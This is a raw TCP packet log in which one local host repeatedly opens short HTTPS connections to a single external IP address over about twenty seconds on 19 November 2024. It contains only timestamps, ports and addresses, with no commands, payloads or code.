Nov 19, 2024 18:56:47.273221970 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.073738098 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.073843956 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.076316118 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.076323986 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.076559067 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.083719015 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.084135056 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.084153891 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.084235907 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.084254980 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.084310055 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.084331989 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.084357023 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.126015902 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.126034021 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.126159906 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.126599073 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.126610041 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.929414034 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.929500103 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.930986881 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.930995941 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.931849003 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.933034897 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.934429884 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.934457064 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.934582949 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.934607983 CET	443	50127	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:48.934668064 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:48.934755087 CET	50127	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.059820890 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.059890985 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.059967995 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.060822964 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.060841084 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.804972887 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.805052996 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.806518078 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.806526899 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.806767941 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.807356119 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.808454990 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.808487892 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.808567047 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.808587074 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.808618069 CET	443	50130	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.808635950 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.808666945 CET	50130	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.820394993 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.820461035 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:49.820528984 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.821043015 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:49.821079969 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.649952888 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.650041103 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.651292086 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.651328087 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.651731014 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.652354002 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.652594090 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.652642012 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.652703047 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.652812958 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.652857065 CET	443	50133	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.652915001 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.653068066 CET	50133	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.660681963 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.660732985 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:50.660798073 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.661150932 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:50.661165953 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.368794918 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.368874073 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.370126009 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.370132923 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.370392084 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.371476889 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.371707916 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.371733904 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.371776104 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.371819973 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.371848106 CET	443	50136	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.371891975 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.371908903 CET	50136	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.378391027 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.378417015 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:51.378768921 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.379244089 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:51.379259109 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.088717937 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.088797092 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.090204000 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.090213060 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.090460062 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.091175079 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.091442108 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.091474056 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.091571093 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.091594934 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.091599941 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.091612101 CET	443	50139	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.091639996 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.091670990 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.091732025 CET	50139	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.106249094 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.106285095 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.106435061 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.107271910 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.107287884 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.904845953 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.905117035 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.906124115 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.906136036 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.906466961 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.907533884 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.907533884 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.907618046 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.907630920 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.907768011 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.907803059 CET	443	50142	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.907892942 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.907892942 CET	50142	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.914657116 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.914706945 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:52.914880991 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.915148020 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:52.915169001 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.735249043 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.735338926 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.736663103 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.736668110 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.736991882 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.737632990 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.743232012 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.743282080 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.743408918 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.743438005 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.743447065 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.743453979 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.743463039 CET	443	50145	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.743488073 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.743500948 CET	50145	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.908278942 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.908363104 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:53.908574104 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.909046888 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:53.909084082 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.715979099 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.716239929 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.717617035 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.717628956 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.717959881 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.718874931 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.718874931 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.718955994 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.719060898 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.719090939 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.719124079 CET	443	50148	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.719186068 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.719227076 CET	50148	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.726907015 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.726936102 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:54.727041960 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.729651928 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:54.729669094 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.551881075 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.552048922 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.553450108 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.553472996 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.553905010 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.554785013 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.555975914 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.556037903 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.556205988 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.556241989 CET	443	50151	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.556322098 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.556587934 CET	50151	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.587812901 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.587866068 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:55.587945938 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.588710070 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:55.588720083 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.702127934 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.702205896 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.703540087 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.703547001 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.703896999 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.704566956 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.705071926 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.705105066 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.705152988 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.705235958 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.705269098 CET	443	50154	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.705351114 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.705365896 CET	50154	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.731515884 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.731556892 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:56.731664896 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.732089996 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:56.732105017 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.540194035 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.540328026 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.541651964 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.541668892 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.542449951 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.543096066 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.544087887 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.544138908 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.544281006 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.544317007 CET	443	50157	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.544363022 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.544394016 CET	50157	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.659272909 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.659336090 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:57.659413099 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.659914970 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:57.659930944 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.452922106 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.453041077 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:58.459435940 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:58.459460974 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.459912062 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.469902039 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:58.469902039 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:58.469985008 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.470140934 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.470166922 CET	443	50160	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:58.471642017 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:58.972129107 CET	50160	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.001977921 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.002017975 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.002156019 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.002604961 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.002616882 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.815815926 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.815901995 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.817210913 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.817219019 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.817543983 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.818080902 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.818428993 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.818459988 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.818576097 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.818604946 CET	443	50163	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.818733931 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.818733931 CET	50163	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.898742914 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.898785114 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:59.898880005 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.899276018 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:59.899286032 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.712418079 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.712492943 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.713695049 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.713706017 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.714065075 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.714634895 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.714838982 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.714873075 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.715017080 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.715029001 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.715058088 CET	443	50166	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.715060949 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.715111971 CET	50166	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.773304939 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.773344040 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:00.773427963 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.773967028 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:00.773981094 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.585009098 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.585073948 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.586671114 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.586678982 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.586935997 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.587656975 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.588382959 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.588412046 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.588521957 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.588548899 CET	443	50169	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.588588953 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.588660955 CET	50169	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.671804905 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.671859980 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:01.672024012 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.673192024 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:01.673208952 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.494504929 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.494587898 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.496068954 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.496084929 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.496335983 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.496944904 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.497344017 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.497375011 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.497425079 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.497467041 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.497499943 CET	443	50172	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.497519016 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.497555017 CET	50172	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.541528940 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.541595936 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:02.541721106 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.542115927 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:02.542135000 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.340455055 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.340579987 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.343147039 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.343158007 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.344026089 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.344734907 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.346398115 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.346431017 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.346532106 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.346573114 CET	443	50175	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.346745014 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.346842051 CET	50175	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.711065054 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.711097002 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:03.711472988 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.712064981 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:03.712088108 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.625700951 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.625993013 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.627180099 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.627185106 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.627429008 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.628146887 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.629214048 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.629245996 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.629338026 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.629363060 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.629364014 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.629373074 CET	443	50178	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.629405975 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.629482031 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.629482031 CET	50178	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.639210939 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.639267921 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:04.639496088 CET	50181	443	192.168.2.4	212.193.169.65
